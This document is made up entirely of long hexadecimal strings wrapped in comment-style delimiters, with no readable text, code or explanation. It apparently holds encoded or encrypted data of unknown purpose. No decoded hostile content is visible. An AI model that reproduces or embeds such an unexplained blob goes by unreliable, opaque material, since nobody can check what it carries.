71edff6bff7aeb8c9e0ca68e20fbcc9e9b61017d22d1d90fe5a8addfe527c85fea14c96625b2ffab9851f98b7a6df933b16e4d899f91cc75c6f40e7f4ea25be9c5c8e9d05d460d44d745f925c227e39e59c91ce8b9105c4316fd14009546933c3bc707124b47de02d31584133482824daa7ba13035d6146c97d736d22166c29ff8c86d272864fc48d0457f5f27fcc62d06f5bd352b58117bf18d05e18aed6bf54561438530e1cd96128d06b4874d22d4c9489cc4a53c452c54e8fcc745facf8c7c3e330d2eb836a1ff2abd817ecedf7f36d1fa5b992380bb5285d38ffc91397bf9bffebdacc42de3d53feda126b433a9a170fa527044b50a1b2fa241e1c391584861b9bd973263e051f72cc7ac07662f12d5d4cc89320cd23dbc1695a01166deefdb8ba112ee95962ddc9ff437831b20fbde42e94e490e9c075ffb009c30323888e035041acd8cfcf0d241323fe3254effec41180550c2109a075ecfefeda4a3fe519d69544835268cecd1a66cd5a5d74186214c1d351f35c3a15d94c8ced1ac4ff61cb03b526b1e71206b561c09f3f0cebf9c91f1c93b2b92f8688dc5b0874e70680ea7b6a3433e18a53cf7b105a1d2c93537bb429412c1f76e8fe7960cdd1ad6faded772b5561a70659793c20c88ba4ed0c8f51c67a8f10bd84333876748ff8fdc1e6bbc8fc26eab571c7f7a38fc56ff32e47232fc428d1f14be793a00b45d203248e709505fa754c75814cb518810136b24c16ede51a3177c1ed6ab775ed35dc108ad2ab9336647b64a91f92c6b3b9afe8fee6e12c5e79ec07251ed2dad50fc319ba7b21833d7f1b99446a7558b1561ff5f61d95943*/
/*d24cca0f1e451f8031d01d21f303f07d6ee3a88cad9c92f73be702627d27b36887a9427d2a05e06436b3bf2690812ce186ec0e07e1f2e1d068e86da52d590ef9d4975121db07d58d877c176a30dd2842f5bd468819677b8f5c99147b00d1ee6d918b3b6b73e77428fa0b82511a4f8b5d07f1ae86f8a00cb9d2db2a63adcdb8c36445a2952c8bfca390c0dec56a8e799aea942ed4d10b6c83c6df6c8ca58e9c9002d0b8c81f7bf8cfb65e7512c15b903cf2562defddfdc7e134b82f095a521e045c069fe2b03f2211771d7c879441b9b74910900011b1947adbb77aab3faf9e8f01e2265476911f934a1f090d863d3dc41015862d45325ad2f2e345575e960cf05eecdc3714f72abdd35545847cd31556c189a9a66bc4ef2876b67e72a365a4aa8bb341854e561c3bc514f0570fdd8f6162c5efc335d03e5a91242e62dd42a0b1dcdd7bc7f7854541f8c33ca953fe1ad5f1cba09acd0ec64d4d4b008481d6cd88a7bd1068247f36d87ab019208dceb0d1c4c3927bdd690e28f1b7638af74fb00fec22ae730847810c12610682fc2ff97010cabd71a6504d37c02c403a5917004a1e919ad05d7fe6f13391712182703193168d42acff70f1e9934ba412506f1c5e884319de9ea642e5df75f8097b974beab601b7bc0f25fd0e7de3d62cc3e39a020ca48d9575b898a11a50477059527799fcf098b480d9f5ece0fe33e7da5b9e147c659636fbd4f8a198819437d834588baf20ecca78512692efb1604e39418dc40526f0fc60e746294f5e4f8a590855319714df6f94368a1b135c4fff193a2d45a1bce5418572f201e692531dc97e17194f5130bc0094c6acc80eb871c6c07d597b961786f77296550deca3144350edbe51d8d582dea835cbd87b2db127966667773425f0c8e47cb779813ee0dcf6a8b2f855ae36ea92c7595f176e00eccab2b4328df6a0967e10ad4d6b41a0a2e525eaf461cb378cbb6dd9f896744a7618a866a106a2a535d2f5c3188a92dc0ba51acbae607b277a7082b3ee1423df5389530a0e7c0457f1a1e711603ebaa249133113dcf7311c896a88f43d1f77e08b33426b5a155fe238e66182907b85745b3d0d2bfde3be1f4975e00c0d2f211ddbe56efce75302cbfba066ef31c91adeacb8bc54aff31855181c81502cf84ba079e6fbc441e1d3db8ffe71727dc7d839b4fe2ac1c2a542bc453d96f444cf6dd90978768bd960da6ce91c71e3700a0d76f128ef27bd8b2210b407b5a75a72a3c1e41329bbbb5178e8681ec9d6f45ead9f339aef68da9810b26f8aa5f564da75dfec242b694ce299f2e702c1a97cf23ac860b3070fbb06f192ccda09ed52fe0105d2123f0840069ec57d3e59faba4e64669446a6fa227483975a80dd6ccc56f151b98af93e752c98129743e8174e572e02244908e83145169e9fe210fc06d15ff960f699d726486cb6ffbedc53f47a31b2b7477e11949d51ea19a34a511caa1023e8c0ac9bd8794c39bd1f4d07f7a5693d71ec2fd714c85d8b8a4dbe28b6b490eb328667451fad93d77f4beafade55e6137c88ffe0dab4e62603d14fec0f13b8c7e6de4cd06be5683f1093d2dea43eee67097bf7f7dd3754df78b9b416f5672acc996fd2215ca4a869f9c57c7e357ab3876c457d377dd763e1886eff344d94cb62fddbee795e28155925fb36dbcf13e4f818017873796831b525070a76f710d42d4cd8241cab7309fafb9b837b246beb5c91f4e302174d58a5f43e95a2536817aaf20018eaf3791573cdfeec664312c303fd570ee6603250ffeb2298ae614c103bd6584a1f359eae7e53ef68e311fd0692c68d9475ebf57d0c4f7ff106639c909a9b5b840fbcdb681fac3939e20edc0fdd3d1df3dcb91493a32c8ae6666b8aa7f36b42ff6c786336a96eac8e3171fc3eaeb91aec93f1d8ccd4544e48bc2f1b9e4d64b21f12c02fa0e2c4180cea66c65a4424cde6025c3f26d94216afbd8955d89e8e7832fd4421e79b0bb455ec965b6208ba826aef3c5be0628d166de776e86daaed51cc7357484a2b11558c214766d12547b12a6ea2b773c2eb3dc36771837044b27e5872c27ef6307ed620faf054dea771e0d16c2cb4b062ec73a896133bf6f14ee9574610870b44395adbdd1351a4f6daaf0742de5b116d47934b5b774d6bab949791cb5fc3b5b64f529e247fd91d9a6fcc8e980273ed795bfbf3b3514f123f562a0a4cc807c050905d7332beffd4a7f5a69f698fbdfe6f46d9b6cea95106b37319fe9804c20d27e1227bbd55deabffdf5a00628799402a7b8bf5656deceabf12f444378e61d12e8c496fab430a8a7593073e3e3daac29f5ee5bcb49b8e9526afa187da440bb01f12e630802aab81e86df808b9df1b102555af2462f2707747f086b375e6f6782ab111c28293c6ffabee5667fea0543810d77f624fb3d9a48edca09f461765fb00271599e977c16a2af1aca64def3e039bc5589b0eb1012eaa2fa81d28e90a8fdc5e8d6a469c29b8ee2014e28ca52f406ff40bcfa123ba66965fff92215b1377d345ca215a838adcadaba8a92fc5c1cb98d198cfd81118a9d10c61a028f05b07f9a8f369c55a50b4db4707ecd8069ecd8d3089d65db9cfc2b83d100a7fbe8adf9fa9a74ca85b841f101952f6b32ff42835619f2164edac24e3d1edbe60d23a062c3949503372ea066f1478400350655afc7ecb28dd92ff081a1f1e47a080a08d58a6ef40f2b78738254495de2d1854f8618784cbc30ce3ec94d3c00af939e39d5f26583420cf8f17a1d3ce2c86efe6576fceb4e48a593e7133ab1d5110620ccb8ca7a41c536990f3a37f8d8b05*/
/*6af23521ed9a83a0a1aff81e7b05eec6a16b37a162aa64f21d033ae81d36e1338afdbf520444f25655f109478faafc4b328d7f4a56366a7adabc74d5956e47cf9ad7817460e40dbbb5d183117abcf9d75a0cd6aff4dc44d62b14858ed649fedad684979d7e1ad8d7b40bf158d7d39958ad5064876f9b4fb4d8f8a75f6055aae64272c8c9ab45b6c18125b2a2c5a0b63a0d6e2cca7eb85d0ec7a1f007b764229326c8f63d34d68aac4f3e25f5b65287d1ceff3212e9f464076044feb6339f32a93925dded50202557b962ed29fd90ab03469fc738ef136093b91c219ded87866d76652bd3149abdf542ae216c752dd6d0e457e24345469ff2eabc23d6fc50aa1400a56029499d94d22dec50a9f700f7b859abb32389b8525dab67488ef41b723024b76881d5bbb367f8c452b0b78f22f935d7861d81c6493c3e103162c2875ab37eee667547db44ee3c56f99599821e4369b7b93155c934cce569814f72bfd42bf8952e43ebc2bc2e5de17dc71af6f217757743922efff221b4aec8e7f20fdaf5ec1fb93a6ee9842d91e9da3e1d090f0e6b48c18528e4cbd9c0ed60a0595390b030091cbe851ff1c0a56411710f119f77893ae07f82b231916274dd5448e6cb92b7ff349c2ba462c560777a223cb598e891b71d9d1556d1b96e85aae0c40455319b890b1bd9d3365dfb65288d619270fe546952528ef5e64e2e252993c952d4559b1cc79b2ab56e8ddf9b97c4ff7d1007eeca03a6c4bfbd2eda46405b5ac511665d9d85b61141a4ca877d3458054778a15422682877abfa442a1f38e970e0167b309cac95a2498306ed0f35783741fa9b8bd67acaf90ca27d38cda214eae08a44967614b77dede52109d74c33aa310f9373c29c50153d2867e7b34b13ee0d55c2352b81072d39d2bc39e92982f520a15353b55497f6805778db07cdc1444c4b4768b339cc699111f10a66a2f16cbcb5d84e8d7aa8f9ec1bc911a61140a06d01f62782aa0aa14baa577518f0fd0c7f50fde4b0aaadb16d15d98c0e97bf34d5919ed004af4889ee14677048208801b14246ba7c2c782b845382710e2953d4e7bce7895b12e9533d37e8f972c9d873aaf586674679d2ef8d8794acf3d1909be1722b146a49d122255ab994e0d26767f5d398a829f06aade43470b14338b302abcaf1b36ee23e6ebef826f78c4275a3410f7a870125c5a42b428c4a324a3def3e20e2a5a28b1a35ebbffaeb93ffcc0480999256d7b31b23e347f302dc9d68c4baa1d49f7e6a5dd48c44cda4c9df02ab7dec66bbbb6e6ab66febd05dd5c09173f060b414035fbd786deaf6d484bb80c1b160365142d33050618e9cfc63a0498ae351a80ce13c3f97938de080b5904396256d36e0d56e36d7ba66ed33157bfdd74cb9636ccf8e2fd784d80e46deaa1a5188e9280bb8558d3c44af70105f4e1de3e1eae3c68e62d2e9ea53aa398f39864311125b68b7c076e9de91c7e1d63cbba1b43026374fbbb6cbebd5a970a360252fef82e2e9aaf98e4288f56f8f09afc55bccc1e5a5fa37c847035977a5b12df59b3d62ecea32af78ac75122d081962219af756b486ac3c6d9588b73e9a44199aca371f9da5fce17c12df37f0c0e2e31434edeeda5d5a78ab71271084c02d13eba0abf376e4c72dfb65334e303249a45f0aa2a7b7b8046cf820d575f757165ef4a4eb12d7cefaf696ede71d54073dc76126cb74ddd766fbf10f56302af527e5402a53d7f63d10c3fcf8d34bd0056e686a769a0875f2c6611dbabb6228f121227f7d142e186af5bf41e4fd9fb84a5484c7d04841e05e223c555e018b1b2ac9cd9ee4a37ebd5204b62bd7a612efe2384cbb425444bec0725bbb8c76151db1ca7410561892caedc2f36adb7a4d319727752173a4ff931f15aa4667415fa21573dbe5e90278c83543cfb295319ccd599830d85e9db12a90e94d9fddb54cf0aa10c77acb13a12765daede1f0029598dcd5adf339b567b7e2e30ad6066aabcf0ca10368d37fc6695119b8d00c75b83f07234a960bfbc9dc2aef7de84741734fd58f384135c9da347abccc91454663078de4f9c61d48904bbde201971014ec23db915694bb712f62d956ca615e842482d91a29a5e94b6bd3d4e5c872562f9d21cf4c3149dc6070df1ecf1cce42455b88c1454eca4650a687ac9a161628f6529b32a68937af63b7916b9ed3f6c50351e2109c152913a24e180f990f5dc5503e8295db3a2dfaa691f613baae42fe161f6242645416843857c44afb7af174fc242c82caadee825fa11504c464a1783f0efae2bd20c23d4882f1e2a0ad60584ee8f5d26939c98501e8acc2107d49ee92291fb09756fb45fa58a0f82dba1daa85837e6925a45875ec3ecdc424864702696724e12b67de3c48e7a75d08c50c20432f8486368b6b0cfe69f4a59f83cdaaa8a0a2a11f53e59ad5626ded81e6654396ad90008e74d2ffa842c93acd0214f7a38a855bd3fc6dd8221a392a83373e311044df285c9633be60179c96ca2763da9358edc68040272c62148733aca9dd3b6c076459523fb1f2e589f8f5af35f90a9a068171124faf7077bf1f44c786eaca1e47d752fc568aa4e783277789f7e5ad2a0a52a0cd6710dd6ccd815692e306cd5ddb0f043a573d557008c7364ab9acb36d6195f51f449925df5c6e2ffa6c062f8363c6285fb8de51220d62dd1af45c1ac448dab7323e67c4dbecdedab54a305ca3244191882e95b4e2ad093c52695be2e1b0d93b39e8e1dbbc4f36a1940a4e74dc4458accd68dc83379b5c3b80f74ec44957c23ab1982ce9b72ef49e5d1890630d3ccd032dccca2816b3ea*/
/*31535e506c5c347f4b63c4f0bef6dc3ce28b6a15896a511c76bb3cd3b72b1a00c2a85158cd91d3bea024a2caa8c383269683d8bc5ce5e70cd9ab5ec439bf2482999eb5f9d37d58483578626a9cb2cb33c1e3bba533d35ef41657742f95f9b4613478410db6b1a346d8f9d59f79f8a9f20d6045834dbaefd7227e3ccb97d451513e99e0fc821da5a96f51b28cc8fc1c9c36e956bcfd0f480c089912349f34deb754242676b2584a70c0e409ebac3e7d77ca9529d28d6bbdadd6dce0245dbdab14c21a93eda711287183b71f4cbde9f30c30f4a57c8dbe8b9528261b05bec7267f3bd3979269085774038be4133713a6ef49ebfb31a0fa8b978f13b2f9b0fcd5c022148e96c2c5ec2ca54669fe55413b24ec9563690d172cb9387f63292bf74aab586dcc4b30add07d8e824449835d0c12475d32be826ce0bff2496833a9d586bf5adf94d5c0dfce950761bc13f84e8b728ca95d311b036817d067c56388871f6ffd178d508267bb6d2d3d0eea5163361a0db39f7e54d8e782300ef74061b2f11871d1ac19462d486493376b14b8fefb82f4eab071d7bff6361247b86e709f76e839ef980a7e86f53a0004d669662de1fc213eff6a9878fc7c0911ba4a9ba6576d012d436b83033367ee5a7613467f6f900ffbf8c1393e8860f36cd6a203db1095485e6224224d00b6280d32551b64bcaa509d2be47d4844c25324d12e6ff436ff23930939235f4074f88cf15088f76ce1842cf306b6369984774392edba61f86de7c49bb9488ba2e9fbee51154e720faf0415fec776486ff90ecb0a94475c78d15802d351accb7f8fd4ef44e5a350e36536d03ec38d69eab9a7e7f7d21ca636671de076982d1679d1a52b086eb870ed8f4b4877bed536f4c03540c011d42459eaf148cda1278121b9857bfb52af5ee53f3f628b8fcb32a0632610759186d2f66ccf1dd5fa192d912ea4ed9e8f0be785f24c0006f21768a474b8f6a3d8bad0daf6cb336a28cc19a4db4b4ff05fd9134cc3fb04827ea89c609503284d93e99f810e9c736794096e6d9a1c7b7e70542a79edb8fdc1b04c77bd3a54211e3e1138c2eb712f655728323d566a8e4253fae909dba639b1d1d99b85817d984e1fb5ea9def3a9d64bb9d4169e5011496864969c216d3e89d2f00e0e624d1d9e6d4770b143215608de9a778f128ebb660d45552ab61e1197be331729fa38ce1132a8b17d8642cb1757b26d147c84c8d43c2faf3844c3db98d7e39961ae5a2e9938ff8c0c9b5dcc62bbbcd3470ee6bbea739757c500b557e1f80381e35cdd8338143138722b8419077a544ed4eb16f5c8daad2048b52695055b6a03a10fa53ae26614374a6b4f928182932b8dd73adb539248f2f1ac821ea079dd87893c74a6ff439925a0689a8eaac7c0021f9cc24993c60d67dd709c4ad91012e50bea63f7a2fac059fa3708f72360f5321b6c9fcf886fdd506c24ff32c166be53b482b258b669f0f877e19ef5cf1c6cfed63ebf9c4b799484f8776815d118ea10d13a99906772453f31ce938b268cdf1d58920e32e566d704947d6eeaa7b9d96e67459cb74eab09f2358947a7e67d243098a2a1431011130789947b30fd59fadac11e43598c7aff09ced141d683fdd49de842b090bb014663d1b4e8423633cd2e88d7a108588391d3c12c0fe1f9851339b9c9a38bc3c50ebd1d0e9a45d97a7756dd16c137c4e08a31c88c9033259af6c871267821a2fe76ef928f7606030842e1f284a7ef2e5214b04ae57f5dafe386bc990c8e2a67c4daad5dcc3fe6f3b75b40917bbd2dbe491e869032a52628db5e02d1e204bd022b036ea2458009029fab69f59c6656c030b7b037352ca90e27a2e420b77f045690cff4fda77e345eccd3be191cc42409e64f18b395c4ba95c3a8b62c09343d34a5898c264ce8816698561a5c92cb01000219d2ab1e7c5b5690d2c04f0a3ad00327f8bfb43c400ad85724612d12411aa2c5fcb53e31b5b0c6e39ab8d0bc5da65836f5103afdef36b08b147ffbb7c27840b45771eafb486542887eccf03323ed293eb6d71f6e6ed5530168543868a75d0703f95e3d1df9583007250826b4b1712b36db89bfaa7823b28a3aa698b88e394e14c8164be7df15a6a166af5372b81b55a7c3afc256239426237a994334066218190f612f9fa3204b7eae2907a9cd4bd27e6937ec19acebdc3f0784d25eea44fe760a766359a43157c371054cb0821eab27fee995a7a10a5c210b0e928434abbbe0bfe4059efc1a2625dfdea462d48a8f78dbfbcfcf75692f75132205c85036e36fd7340a8063d7d51b4e19861bc7af00905fb9be3f633e4f1c6bcae8da2e6524a4822c9520fa8b4d996c8f8ec8e360c967eef596f3a6780d7f7c334c53bc3d6127a9ce2f9fc468f81a49da99db1cb81d4914c8ce21cc584593cbfe331d7dd871e48918f81b44717770c7e00f2bd5f549498b27822418c8d7147925b46dd505b979cd5cd5bbdad3ac1b9ab36a76cee2adf61677e745b48c0418688ceca233b3c9b95c7ce846839ea7ed2fee5507b9134b8bb0a7caabac57ee6291e2fa7061e42ff4714bd98ad4c3cdb62d11c15d30f34198658d21abdf318b9e0528ac884e76b05903cb7ed95a33dcb3b2fdf2d4de1ea696c48ca830ac7fac75de5c255123a86cc357a188273a3bc750982e407d2e45b9de142bee877a97d003fea2c7f278a55f8f02f90e9c8c775fd6056a63fc20afe7c675e269adfd7fc945da2b987abf571cad848b0bcd14c35f899f58b5e9e7305b7cf9f975b4b2bc3043ddad9fb32c529dcdd0a799772a496ace0a354edf1c83463c45f408eb1*/
/*3511caf5abc78081ea7ffe69f3863996e830179378338d14db7fa0220dfa8a41843dbccdc7e3b53acd27a13fb60d32d814fec10c421a346ae563fea35cf5ea7e6b2b6d4e497b51f5c9de8a6236fc41e76ba6f076a432411d87a1fe832bd716fd8f7bfe3e64a0f14a49af5272345d61c6f5fb62f6dd99ab9e34ee5fe7bd32de823fa109bde0e7ce363e6852f2ddd5ad3bd2cf8edd1b2dbac497caa0715fe33c9b8a620443dcb2816d5931f950f78d7616c4a8a988943d964de6c92dcbf8871170a1770423b09885d6c961f89f7e259dd93b86bc1434242073dfb495fe6d52521085cd2c2b444a98ff10e45c9148d5fe8901447a8dacfe000091d6e41c2cf494d66a2d3175ec92ef8e4177289e02e735f622e0297e08fb53219813ab5a6f0d3e975247e640482bd8740aa2f4de742f7bb6807e5339f2f581cc9c8f45dd5c16650771f21decdb5dbdc68074dff1a9a1257cfc79f1376399bf0e3878a8a89c2e0cf59860b4a8ffe26c923a82293587cd6588c912fe82185d4d31c33b1ee7c077d739fd890b076f726d7fdfdae49e6e718238c3622d4ec4d746467851a79ac7e7e6d51556a62a671e7c1b5c24b188bf6614d52b296c96b53ba6d06772a1773300e8fba55eb40e78406e490fcd09274b81fc09687735328de122611a8b308968d82cfea4809144a22231aac4337ddb05cd0e404753fea2a5655ce279b20e161b0c0c4422654a55c307292107dad68427b59cf9271c7c12b24c8acda8a489fe25a13e154e4a5f7bed586638a85d5da2ee4b50c31571cb7daf789f9e43ce61bc7710dfdea0356af305658eb103eaad6c14e572dcb9b569ae234c35adfefedc052f89e8e68fb2cf8db77a59c4efca5ee815787994facf37ad7851b1a2a3e9593f0f2086280a3b6fca2463bb08ba754a492a6e5bd2cf949c7cab7ec96df568c4d6d2bdee81ded51a73bac7448f08153b71e22feebaa95b549bbb5447e3885f5d066abcabb38b293308b17ad5115e546d6024d7674ad4a0a4645539f04954721e3e0394c555552f28e2e5fb97f7c0f4cf9a035b548e6cc725d3762154e977bb633f27180f3d081bdec52c390e0f18ab81ddb3c56ea6bb9e0252af31329d6772410b828a88cd609f591d3c81c4541ff1fc875f0b09028f1153d1da79785eb922914715d0dd5c01893fc32be40191d4805f6d591c7d3cadc00c59aed9e280481b208ca7a7e4071612e0b9ba55b2fc5718a3c66b4ea38069cbecd3365dff1a08b0167b9471f1d7d4cbea17f8d5812640b1f33ae51d8555790451bcc8bdf893cb96e0c8e5c82e62885e3259ec2dc6d01dfa26cb314520d051a1afabc7978b22e2da35c05ae2af439e5dc7e7d75d935d7f506dce39826ec9440d7b279dadaa4e01ba5d6d7bf761c29d11d9393d254c2e4f6209c0e904f4fb27960a14f3088ec146d04d512dc07996ab0801130ba5f79d3f961a993a8f97a2f925c397b0ef2bcea0c22f8e8c13d58122e53e565d7386cb30ba560009ad8870b2c93dc6f0e8f0e9d943e09ef7acfa6994503cfb294888e653036707b18abea44043f3203a157e0f0d8068c4e977748766edd5d2d9b284f0ddefe5505992ebbe615a01645b748160970bc49d17d35fdf16198d6edeef20290c08560511955a205b165de97c05dbc4e6379c5a8b6618dfe4ab696aeb34f7a4d21fd998e8374c8a3800d618672e1c2c312bcb32a5bd0793ee46bcdca0b1e718c69b4183d6d1b5798adf14c28ca9d3b03039677d198213f7023a50a81dec79422360fa37992f1621844b65a4ce90a583a571ccc52149b2e6fcc47c55fad0e78574ad8100524248f73a09d65a34a59adeee4db728c89a8fbc56ee25cef5d810e1df42ece67abc766d32aa22068305aa1fc430bbd40fa61b54a9f74576b118fc3e40b4e3c0d1a3b9b476f915c82dbe1f76c788e3bf864227781974cb3d671ca1b53a702c2a1824e3b4d5b97f18cb5adf39bd8e16640f42df036846b3b6be91a0e2eb94a43c7b456490b2c75350a2d523f002ec19dad6f468a3305655de8a6a7eb3f99bc4fa64e7d9ac578338d3374a4e66475db1bfde2b9dda76f605a7afa7be9d2bb81ee395807811c92c07ea6a6eb330259410ca8a749eb6d6ba6172577534fd9b80d7c83c8a6b1aad403fb78a11c391e4cba5811d6c81a5a39e75d2fe01758626e0b797eedf4c8297c08edb101420083384791df2731d9da64e81be81347d3acf9765a529633d5d3b5d322bec7b70dd3ae9977e232ecd0fb8e8bd8f2c5948d4694aa83ebfe23580c8bdcf2b8e80440c12acdaefe4fd9ffe07fb2ce156e0cf2f09d24014c6711a392edbeeeca1c310430214155999d6aa583d416148732060f6c663cc086d123740dc0ef2109c162faf909a996b342be49520d491d5a154e27db0e5e8b4f8451f5c4ef24f10066587baaa16023d9a9d66d809ec1207bb18117b30f41063a7f2d3cb0b0a1286e7b37a6577e8b8d76b93ee97e0334dbaa280fac5f3f6a7a25f6130b0c9000f9310bf2a0fa367b79ddd224d544810fb1ade7d7d7fd25814e9eb7f4c6fe67e2e63fa5bc47ec3f4bff5a75f9192915f350dd728c33ef0318557b1d90a9f62af475cc2647d5c70a952faee814e6ce4afe11ba3ba0fb7014a4bd2f54f93afc2ec6b867aa8a6b7fb63b7cde8ba349ce03318987d842424ce0b54a171c1946e1070aea7327a96e1f8bb4645b70010282ade06701d5ae73483ace8cd1e84bb4037f50660b231aabf89646f9becfd52dc5eec0719ce49a742f2e837ae3843c7a434f9229bbb7547107dca2f67346d64810e670259f1d1ff70c78d58ab8385a9d5*/
/*493f131a9aa408acaefaaf782b288cac956440e90a5bd18d7aaa185ae3ea53c892a5b8d4c6980dba8d6bda493638c1633dcb00b223bf14258d77210d8bc0c362522b94022129c689c512517804b2e9a708efc824eb17a81287c30c303da4d52dc03a473d5160cffa9fd3c37bfdabaae6bb5291a1e66ac3cd617e394c9186cc6ba2a18ec406b133a0ac75cb7156affa777c5682fa2d56b383dcbc301ffc93229c7052d02de93d116b4fd64ac88b2937509d9c388aee161c5c6c52f9ec0cd5a03c0747e9e7f8abcc5312051687f1d5e1f0961e0598346526921c2775f411b1c5379e6a14b8a7567362b7a19fecd898b76c588d3c854ec96097143b0fe04f5712661275a05579a773d872b3650d26eaebe51253833f8f4683a6809ca4fb52d06f7bc503803a7795dbfb836de7f885bb9c8c092e7c8080582e707255a718a92d6cc32bc997a9826322263a49c328fa6a2e3f154cfe8cc7e75de6503f57a2531964aba9ebbe0345ba0351b51077d1da12862585b8d85425c76e693c0c50bbcd47008e5268d49ee330cc2930444bc7a4e98c54b62018d73d7322003e6c421d8b49fb9b86820d6199c057ba1745b845599eed1f54de9d92d4bc7d47decb1ac881b04c2a41824c32178c89342eaafc1a34d75d0e91523183e8a173619c47a385008c950f0ea26c2a81ee8cbe99fbca7b910fa47030f8d1e9da8895156a3fcf58e9c59a44d3e97ab73a4e42032d558876746d6a4aa09b10b5549dc66c2779e32ba6e4c0a6945a47254cfbc80fc2d0796ee93ea33f3bdf58ca1791c883cc6f3ec2a93fd5827e144b33e46b806af4a0a8fcd03fd6e4a358034712c35dd2d3084c5938468121cb40fc3961a3d581024ea87ddb1ad949b96f2ca5e49a50d68b91fa51a77cc535a40e4c11b8bb646a0f4362604d7f811566c22c70c0441320bdc44f2e076a1eef04862e5a94036be275dc3052817068d9f1e95df839bd6fb2dc36c6cbf888b4ec68f730b465c82d24f377ab1c13087518fd8c9a0c91f3a0cd576860036226d8684a2cc84e0b7fc075aa7dece36c5f3651aaca95b180da36d796c4c6b56af1d93c6d8b91bbbf2fcad8b758be6563c2d777d1e7bd7d2c923633164efd83dd59a128496c3147b7d2444fd4a9cf851ad2280fe49c657183a44ed784c973a8e34f2e8f5395ad8f4d02a2f66b1fae3619f043b5e278588108120251d59c05243b245873220c495eb54d0920ffab768fb975b702a85fb59b6bac8a76975a50124b1775a63ffa29a6adfa80c2913957a5821e4274aab5140c05a6443bf75989547df498fbebcc53eebec573fcb3eb0366ef2e41cb21a0cd15314972de6723083384154e0f3a7cee0c98a2740714447a2d00bc9326522ec8005b012162bc181b56aa75587e82f400322cad472e81741a98ba49a97a4b11708e01db5f459235aa41d0bc284b5d5d29aa974ff2b05492a505f60fa5150621dc04cd3cf4baf0a5da988b9c0022a0c2322bdcbde46e5a13bb5ad517edea0479ee1839118cac9de5bbc2b74b7b7c23fdcf24925308cabd45cca5e042a3d1e4e25bf61e1c753ddc98103703110f83e9db62b64bd395ccd031d6a31b16abbceb9d13d34c337d8d52e95decdaa38479c2843c6f4ccd537da18fa9b56563dd88a33e98129392d07e017aff92affbfca27880593f91aaac89e1ae21c2443d46ee6a580244919b66e0d58f9dae6b6689d4e3d9e093b0dcaee767647038ecc9e7aef3eb96f0dbb08630f6e4ef172254b195d787725a6015e45b235e3c5a3db01d865a0e900ad4e57d9350eb9dd7e911d460d65612eb4e8cb6ea994d19feb01e577254f32c155199e4640d3afd91bdefb3bc3cd4a9a25d363e192767a45d7959b5a880f53f774d7b4b78c4378382ea2427664dd75b0bc61d5025f479103d54fd76db890e04ed819260446580368147686032a6408119e11eb3bcb5570ad95ee7f9e50f62cc6a41459301e4e7bb9de18bd09e7e4cbcd525bd61bcefa98f12ff2bc0c9ccc1f51af17ab751b175298a79a043d1d07de53e99d30a951dd29212a69edcca6a1bf335f853dbed9d38147598169b27414a539b7f7876aa64b3a7f55952095de6b0af591a0965e11b4ecbc53370d19da3a839753008bdf49e529aa219dc11d78fd4468a081f380437cf36207fb014d26e3c44687ee79981d3dced793d016e7c1689a2a5e6b9761cd6245e6ab86f5bd2a442769f950836b02032995384c107827e84b5fa3725f750af87bd8492688aedbf353c85fcdaa54b0d2ede478af0331bdf1b101c9ceed2da189a3bb1aa1476b60e60e95aee05eb681179f6b222113c55f4d007c6894b329aebecbf119f1e52456ce6db52e168dd9963ec5e20a246da1dffd92c624509397a4e9226606ae7467d9928e82c5c180af5ef1a07c63cf5f3eb2502bc828b1085ebdd4e100edca52c4224647bca231bc9a906734c33ec54b91a8189c4604afb8a1ac50f778e35987de33e36688c1a583bafe99059cebf5a433a5d72a529281b1e2767740bbfa3a1f52712b759352e40b9617dd79685d50442653349d6194fc371de6c2377aa04542e80f899f11457c74443f160e8ff2da2d8dbb0f2fef448722b631b7c876281c4c75d97312cd4887f0c0a1cd95c644af590666ab847da37991bf914a9567004da606a67d070e4239de34f90956cbe36d173272e9d1c6b76cd3fdaeb6c060d97b667607e50d866262fad6030567030a8048d283fa7dd31c149a6e54bc6f65f898ace6379c5fb0eeda85c7fa3c4f7f407f4a3cc42a444175d6e830786423190067f9160dd974ff70ee4f10f0d9e651502bcd341*/
/*a13baca18bd6de5dc48d45845e4d4f9f9daee66d31bcb97a116b43b3d1a9b6329a934a7e355026628ebcff3e0898f284bd57ace81049138a583b63ee23f21f4b21803a2663337980ecd69bfd906dc1556d6191e1d3015353d8627609ee588da261683ff4eb3ebeda26e4619d17cbc0822937921da8f518e79f36135cafcd2c85a892481b94284422a5914ad0719235e2488799fbe627e4b1bb171a076bfcc04623568eab1b2d93973a9c28f3391eba00f3b37bd209eedc9dd769a355ff18ad84158e6fd3d6322f76692ce33b369e61832679a043fc78e16f7c1d7a031680d9bf9da5efb4a780aba4127709a8fff636d38c35d2471c5e632177e7f45f6617589709fd02fef6758284ba6ea1d3c824c01a8515de0ae97c1a861aeb98d01d9f1265c0ef2cd688b336a5bb475f892fcb05c45241f06105b78d31be7024035b10807b9cf40410f66f422f7dda70738ba5c6d36f10b1e46978d06c5f50d264f3fb8efb30765cacd0ebf0759b7309c1e5ab6df01979f0f43012f2254d24a93e6e4d6200a8cf63f76eb7dbbdb6195795ded3438b1f36119775dbcb65f06b0a032828c3997302dd1933de48f65717bad99acb95741e752c1082c30add829e470293d6a1bd713d129dfb553e8f7d9e887e881e4d114f09411729bb37c4793b479c02a2a2672a592e3a594a62a4f80b809f8d988f5ce4727e57daa28cf314f44f19b2ea9f457fb4f54c959216f60c71df6ecd9d17284293391e8bdae68a4bf9ed32f773d6882168ea2651865df6ac4f1285755b9c549a44bf7ca06ec9dc7263b184a4c241b81aece82cbe917f560d05bc5d36fbab761bd906f0ecd3bd26c6afd2b7d9678abf8c2b340789974a4a38ff770a67018edc7047d82bd7d2207ec18dd14c41fbfd99e5b95c3acc086cbe75ca9953e1a16fcc6285347cf662eef637b4d1ad57fd9b3ea5d3455cae1a88f811807ee99fa97438d7a7ca05d0e517998dc4efcd6ec1c475773f7c55f83b1d8a69db6b5db6bea17f08819380d3a024dd31e0c4652a047943b94d424013072cb8627ac633129b6673ba56914e3ae13f4d1c612e901ea721bd4b09cfc4fe2295466ce7ff78295662809b46ccb7af4bf8f7821cf6f5fb685ef01c09d318b06c18ea69710c003a5db72a790e5283dc1d57abbc24a605e65bc2c162c028b8a2c4cdc50ae2b2e6d8e725ca79aa3ca7caedfbb19f2217eedb21db2ebf436151209dbd2eaef7ff50932a98009047b74baa521f3378bffbb853d5297321eb2a8b8d45bdf6543478c6d826a25086999abf70ea85c1d4191639d422a0090103f9014b1320daef2880535eb3cedd0692d4e5ce4506dfdef79a41ab8d8450e7371a958a2a9b75aee4b92806469e803918a